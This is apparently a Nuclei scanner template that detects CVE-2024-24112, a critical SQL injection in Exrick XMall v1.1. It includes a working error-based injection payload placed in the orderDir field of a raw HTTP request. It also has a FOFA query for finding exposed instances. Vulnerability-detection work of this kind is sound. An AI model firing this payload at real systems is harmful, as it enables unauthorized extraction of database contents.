id: CVE-2024-24112

info:
  name: Exrick XMall - SQL Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    XMall v1.1 was discovered to contain a SQL injection vulnerability via the 'orderDir' parameter.
  impact: |
    Unauthenticated attackers can extract sensitive database information via SQL injection in the orderDir parameter.
  remediation: |
    Update Exrick XMall to a version newer than 1.1.
  reference:
    - https://github.com/Exrick/xmall/issues/78
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24112
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-24112
    cwe-id: CWE-89
    epss-score: 0.03348
    epss-percentile: 0.87105
    cpe: cpe:2.3:a:exrick:xmall:1.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: exrick
    product: xmall
    fofa-query: app="XMall-后台管理系统"
  tags: cve,cve2024,xmall,sqli,vuln

variables:
  num: "{{rand_int(9000000, 9999999)}}"

http:
  - raw:
      - |
        GET /item/list?draw=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=desc)a+union+select+updatexml(1,concat(0x7e,{{md5(num)}},0x7e),1)%23;&start=0&length=1&search%5Bvalue%5D=&search%5Bregex%5D=false&cid=-1&_=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
          - "MySQLSyntaxErrorException"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203600ac957ae017909fbd8564c9b35a6cf7692ab0d2d22d8161ecc7762199bdc402207984f8655b58d44d3267c4eb96c973d56388a2481ebecc8a8177f1e028e29f4d:922c64590222798bb761d5b6d8e72950